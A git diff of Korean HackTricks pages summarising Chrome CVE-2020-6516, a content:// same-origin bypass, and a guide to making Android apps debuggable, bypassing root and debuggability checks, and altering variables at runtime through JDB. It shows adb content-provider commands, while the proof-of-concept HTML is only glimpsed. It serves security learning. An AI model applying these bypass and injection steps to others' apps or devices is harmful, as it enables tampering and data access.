* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,41 +1,39 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)의 포스트 요약입니다**
|
**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 게시물의 요약입니다.**
|
||||||
|
|
||||||
### 미디어 스토어에서 파일 목록 나열
|
### 미디어 스토어의 파일 나열하기
|
||||||
미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령을 사용할 수 있습니다:
|
미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령어를 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file
|
$ content query --uri content://media/external/file
|
||||||
```
|
```
|
||||||
보다 사용자 친화적인 출력을 위해 각 색인 파일의 식별자와 경로만 표시합니다:
|
각 인덱스된 파일의 식별자와 경로만 표시하여 보다 인간 친화적인 출력을 위해:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data
|
$ content query --uri content://media/external/file --projection _id,_data
|
||||||
```
|
```
|
||||||
### 콘텐츠 프로바이더
|
콘텐츠 제공자는 자신의 개인 네임스페이스에 격리되어 있습니다. 제공자에 대한 액세스는 특정 `content://` URI를 요구합니다. 제공자에 접근하기 위한 경로에 대한 정보는 애플리케이션 매니페스트 또는 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
||||||
|
|
||||||
콘텐츠 프로바이더는 고유한 개인 네임스페이스에 격리됩니다. 프로바이더에 액세스하려면 특정 `content://` URI가 필요합니다. 프로바이더에 액세스하는 경로에 대한 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
### Chrome의 콘텐츠 제공자 접근
|
||||||
|
Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 접근할 수 있습니다:
|
||||||
|
|
||||||
### Chrome의 콘텐츠 프로바이더 액세스
|
미디어 스토어에 사용자 정의 항목 삽입:
|
||||||
|
|
||||||
Android의 Chrome은 `content://` 스키마를 통해 콘텐츠 프로바이더에 액세스할 수 있어서, 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
|
|
||||||
|
|
||||||
미디어 저장소에 사용자 지정 항목 삽입:
|
|
||||||
```bash
|
```bash
|
||||||
cd /sdcard
|
cd /sdcard
|
||||||
echo "Hello, world!" > test.txt
|
echo "Hello, world!" > test.txt
|
||||||
|
@ -43,13 +41,13 @@ content insert --uri content://media/external/file \
|
||||||
--bind _data:s:/storage/emulated/0/test.txt \
|
--bind _data:s:/storage/emulated/0/test.txt \
|
||||||
--bind mime_type:s:text/plain
|
--bind mime_type:s:text/plain
|
||||||
```
|
```
|
||||||
새로 삽입된 파일의 식별자를 발견하세요:
|
새로 삽입된 파일의 식별자를 발견하십시오:
|
||||||
```bash
|
```bash
|
||||||
content query --uri content://media/external/file \
|
content query --uri content://media/external/file \
|
||||||
--projection _id,_data | grep test.txt
|
--projection _id,_data | grep test.txt
|
||||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||||
```
|
```
|
||||||
파일은 파일 식별자를 사용하여 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다.
|
파일은 파일의 식별자로 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다.
|
||||||
|
|
||||||
예를 들어, 특정 애플리케이션과 관련된 파일을 나열하려면:
|
예를 들어, 특정 애플리케이션과 관련된 파일을 나열하려면:
|
||||||
```bash
|
```bash
|
||||||
|
@ -57,11 +55,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||||
```
|
```
|
||||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||||
|
|
||||||
_Same Origin Policy_ (SOP)는 브라우저의 보안 프로토콜로, 교차 출처 리소스 공유 (CORS) 정책에 명시적으로 허용되지 않는 한 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한합니다. 이 정책은 정보 누출과 교차 사이트 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스키마로 간주하여 각 로컬 스키마 URL을 별도의 출처로 취급하는 엄격한 SOP 규칙을 시행합니다.
|
_동일 출처 정책_ (SOP)은 브라우저에서 서로 다른 출처의 리소스와 상호작용하는 것을 제한하는 보안 프로토콜로, Cross-Origin-Resource-Sharing (CORS) 정책에 의해 명시적으로 허용되지 않는 한 허용되지 않습니다. 이 정책은 정보 유출 및 교차 사이트 요청 위조를 방지하는 것을 목표로 합니다. Chrome은 `content://`를 로컬 스킴으로 간주하여, 각 로컬 스킴 URL이 별도의 출처로 취급되는 더 엄격한 SOP 규칙을 의미합니다.
|
||||||
|
|
||||||
그러나 CVE-2020-6516은 Chrome의 취약점으로, `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있게 했습니다. 실제로, `content://` URL에서 로드된 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 이는 특히 Android 10 이전 버전을 실행하는 Android 기기에서 주요한 보안 문제였습니다. 여기서는 범위 지정된 저장소가 구현되지 않았습니다.
|
그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 실행하는 Android 장치에서 중요한 보안 문제였습니다.
|
||||||
|
|
||||||
아래의 증명 코드는 이 취약점을 보여줍니다. HTML 문서는 **/sdcard**에 업로드된 후 미디어 저장소에 추가되며, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일의 내용에 액세스하고 표시하여 SOP 규칙을 우회합니다.
|
아래의 개념 증명은 이 취약점을 보여줍니다. HTML 문서가 **/sdcard**에 업로드되고 미디어 저장소에 추가된 후, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회합니다.
|
||||||
|
|
||||||
Proof-of-Concept HTML:
|
Proof-of-Concept HTML:
|
||||||
```xml
|
```xml
|
||||||
|
@ -96,16 +94,17 @@ xhr.send();
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,85 +1,108 @@
|
||||||
# 디버그 가능한 애플리케이션의 취약점 이용
|
# 디버깅 가능한 애플리케이션 악용하기
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackingTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# **루트 및 디버그 가능한 체크 우회**
|
# **루트 및 디버깅 가능성 검사 우회하기**
|
||||||
|
|
||||||
이 게시물의 이 부분은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)에서 요약한 내용입니다.
|
이 게시물의 이 섹션은 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)에서 요약한 내용입니다.
|
||||||
|
|
||||||
## 안드로이드 앱을 디버그 가능하게 만들고 체크 우회하는 단계
|
## Android 앱을 디버깅 가능하게 만들고 검사 우회하기 위한 단계
|
||||||
|
|
||||||
### **앱을 디버그 가능하게 만들기**
|
### **앱을 디버깅 가능하게 만들기**
|
||||||
|
|
||||||
https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0을 기반으로 한 내용입니다.
|
내용은 https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0를 기반으로 합니다.
|
||||||
|
|
||||||
1. **APK 디컴파일:**
|
1. **APK 디컴파일:**
|
||||||
- APK 디컴파일을 위해 APK-GUI 도구를 사용합니다.
|
- APK 디컴파일을 위해 APK-GUI 도구를 사용합니다.
|
||||||
- _android-manifest_ 파일에 `android:debuggable=true`를 삽입하여 디버깅 모드를 활성화합니다.
|
- _android-manifest_ 파일에 `android:debuggable=true`를 삽입하여 디버깅 모드를 활성화합니다.
|
||||||
- 수정된 애플리케이션을 재컴파일, 서명 및 zipalign합니다.
|
- 수정된 애플리케이션을 다시 컴파일하고 서명한 후 zipalign합니다.
|
||||||
|
|
||||||
2. **수정된 애플리케이션 설치:**
|
2. **수정된 애플리케이션 설치:**
|
||||||
- `adb install <application_name>` 명령을 사용합니다.
|
- 명령어: `adb install <application_name>`을 사용합니다.
|
||||||
|
|
||||||
3. **패키지 이름 검색:**
|
3. **패키지 이름 가져오기:**
|
||||||
- `adb shell pm list packages –3`를 실행하여 타사 애플리케이션을 나열하고 패키지 이름을 찾습니다.
|
- `adb shell pm list packages –3`을 실행하여 서드파티 애플리케이션 목록을 확인하고 패키지 이름을 찾습니다.
|
||||||
|
|
||||||
4. **앱이 디버거 연결을 기다리도록 설정:**
|
4. **앱이 디버거 연결을 기다리도록 설정:**
|
||||||
- 명령: `adb shell am setup-debug-app –w <package_name>`.
|
- 명령어: `adb shell am setup-debug-app –w <package_name>`입니다.
|
||||||
- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행되어 디버거를 기다리도록 해야 합니다.
|
- **참고:** 이 명령은 애플리케이션을 시작하기 전에 매번 실행해야 디버거를 기다리도록 설정됩니다.
|
||||||
- 지속성을 위해 `adb shell am setup-debug-app –w -–persistent <package_name>`을 사용합니다.
|
- 지속성을 위해 `adb shell am setup-debug-app –w -–persistent <package_name>`을 사용합니다.
|
||||||
- 모든 플래그를 제거하려면 `adb shell am clear-debug-app <package_name>`을 사용합니다.
|
- 모든 플래그를 제거하려면 `adb shell am clear-debug-app <package_name>`을 사용합니다.
|
||||||
|
|
||||||
5. **Android Studio에서 디버깅 준비:**
|
5. **Android Studio에서 디버깅 준비:**
|
||||||
- Android Studio에서 _File -> Open Profile or APK_로 이동합니다.
|
- Android Studio에서 _File -> Open Profile or APK_로 이동합니다.
|
||||||
- 재컴파일된 APK를 엽니다.
|
- 다시 컴파일한 APK를 엽니다.
|
||||||
|
|
||||||
6. **주요 Java 파일에 중단점 설정:**
|
6. **주요 Java 파일에 중단점 설정:**
|
||||||
- `MainActivity.java` (특히 `onCreate` 메서드), `b.java`, `ContextWrapper.java`에 중단점을 설정합니다.
|
- `MainActivity.java`(특히 `onCreate` 메서드), `b.java`, `ContextWrapper.java`에 중단점을 설정합니다.
|
||||||
|
|
||||||
### **체크 우회**
|
### **검사 우회하기**
|
||||||
|
|
||||||
일부 시점에서 애플리케이션은 디버그 가능한지 확인하고 루트된 기기를 나타내는 이진 파일을 확인합니다. 디버거를 사용하여 앱 정보를 수정하고 디버깅 가능한 비트를 해제하며 검색된 이진 파일의 이름을 변경하여 이러한 체크를 우회할 수 있습니다.
|
애플리케이션은 특정 시점에서 디버깅 가능성을 확인하고 루팅된 장치를 나타내는 바이너리를 검사합니다. 디버거를 사용하여 앱 정보를 수정하고, 디버깅 가능 비트를 해제하며, 검색된 바이너리의 이름을 변경하여 이러한 검사를 우회할 수 있습니다.
|
||||||
|
|
||||||
디버그 가능한 체크에 대한:
|
디버깅 가능성 검사에 대해:
|
||||||
|
|
||||||
1. **플래그 설정 수정:**
|
1. **플래그 설정 수정:**
|
||||||
- 디버거 콘솔의 변수 섹션에서 다음 위치로 이동합니다: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
- 디버거 콘솔의 변수 섹션에서 다음으로 이동합니다: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||||
- **참고:** `flags = 814267974`의 이진 표현은 `11000011100111011110`이며 "Flag_debuggable"이 활성화되어 있음을 나타냅니다.
|
- **참고:** `flags = 814267974`의 이진 표현은 `11000011100111011110`으로, "Flag_debuggable"이 활성화되어 있음을 나타냅니다.
|
||||||
|
|
||||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||||
|
|
||||||
이러한 단계를 통해 애플리케이션을 디버깅할 수 있으며 디버거를 사용하여 특정 보안 체크를 우회하여 애플리케이션의 동작을 더 깊이 분석하거나 수정할 수 있습니다.
|
이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 특정 보안 검사를 디버거를 사용하여 우회할 수 있도록 보장하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다.
|
||||||
|
|
||||||
2단계에서는 플래그 값을 814267972로 변경하며, 이는 이진으로 110000101101000000100010100로 표현됩니다.
|
2단계에서는 플래그 값을 814267972로 변경하는데, 이는 이진수로 110000101101000000100010100으로 표현됩니다.
|
||||||
|
|
||||||
# **취약점 이용**
|
# **취약점 악용하기**
|
||||||
|
|
||||||
버튼과 텍스트뷰가 있는 취약한 애플리케이션을 사용하여 "Crack Me"라는 메시지가 표시되는 초기 상태에서 소스 코드를 수정하지 않고 런타임에서 메시지를 "Hacked"로 변경하는 것이 목표입니다.
|
버튼과 텍스트뷰가 포함된 취약한 애플리케이션을 사용하여 시연이 제공되었습니다. 처음에 애플리케이션은 "Crack Me"를 표시합니다. 목표는 소스 코드를 수정하지 않고 런타임에서 "Try Again" 메시지를 "Hacked"로 변경하는 것입니다.
|
||||||
|
|
||||||
## **취약점 확인**
|
## **취약점 확인**
|
||||||
- `apktool`을 사용하여 애플리케이션을 디컴파일하여 `AndroidManifest.xml` 파일에 액세스합니다.
|
- `apktool`을 사용하여 애플리케이션을 디컴파일하여 `AndroidManifest.xml` 파일에 접근했습니다.
|
||||||
- AndroidManifest.xml에 `android_debuggable="true"`가 있는 경우 애플리케이션이 디버그 가능하고 취약할 수 있다는 것을 나타냅니다.
|
- AndroidManifest.xml에 `android_debuggable="true"`가 존재하면 애플리케이션이 디버깅 가능하고 악용될 수 있음을 나타냅니다.
|
||||||
- 코드를 수정하지 않고 디버그 가능한 상태를 확인하기 위해 `apktool`을 사용하는 것에 유의해야 합니다.
|
- `apktool`은 코드를 변경하지 않고 디버깅 가능 상태를 확인하는 데만 사용된다는 점에 유의해야 합니다.
|
||||||
|
|
||||||
## **설정 준비**
|
## **설정 준비**
|
||||||
- 프로세스는 에뮬레이터를 시작하고 취약한 애플리케이션을 설치한 다음 `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것을 포함합니다.
|
- 프로세스는 에뮬레이터를 시작하고, 취약한 애플리케이션을 설치하며, `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것이 포함되었습니다.
|
||||||
- JDWP (Java Debug Wire Protocol)는 고유한 포트를 노출하여 VM에서 실행 중인 애플리케이션을 디버깅할 수 있게 합니다.
|
- JDWP(Java Debug Wire Protocol)는 VM에서 실행 중인 애플리케이션을 디버깅할 수 있도록 고유한 포트를 노출합니다.
|
||||||
- 원격 디버깅을 위해 포트 포워딩이 필요하며, 그 후 JDB를 대상 애플리케이션에 연결합니다.
|
- 원격 디버깅을 위해 포트 포워딩이 필요했으며, 이후 JDB를 대상 애플리케이션에 연결했습니다.
|
||||||
|
|
||||||
## **런타임에서 코드 주입**
|
## **런타임에서 코드 주입**
|
||||||
- 중단점을 설정하고 애플리케이션 흐름을 제어하여 취약점을 이용했습니다.
|
- 중단점을 설정하고 애플리케이션 흐름을 제어하여 악용이 수행되었습니다.
|
||||||
- `classes` 및 `methods <class_name>`와 같은 명령을 사용하여 애플리케이션의 구조를 확인했습니다.
|
- `classes` 및 `methods <class_name>`와 같은 명령어를 사용하여 애플리케이션의 구조를 파악했습니다.
|
||||||
- `onClick` 메서드에 중단점을 설정하고 실행을 제어했습니다.
|
- `onClick` 메서드에 중단점을 설정하고 그 실행을 제어했습니다.
|
||||||
- `locals`, `next`, `set` 명령을 사용하여 로컬 변수를 검사하고 수정하며, 특히 "Try
|
- `locals`, `next`, `set` 명령어를 사용하여 로컬 변수를 검사하고 수정했으며, 특히 "Try Again" 메시지를 "Hacked"로 변경했습니다.
|
||||||
|
- 수정된 코드는 `run` 명령어를 사용하여 실행되어 애플리케이션의 출력을 실시간으로 성공적으로 변경했습니다.
|
||||||
|
|
||||||
|
이 예시는 디버깅 가능한 애플리케이션의 동작을 조작할 수 있는 방법을 보여주며, 애플리케이션의 컨텍스트에서 장치에 대한 쉘 접근과 같은 더 복잡한 악용 가능성을 강조합니다.
|
||||||
|
|
||||||
|
## 참고문헌
|
||||||
|
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,35 @@
|
||||||
# Frida 튜토리얼
|
# Frida Tutorial
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
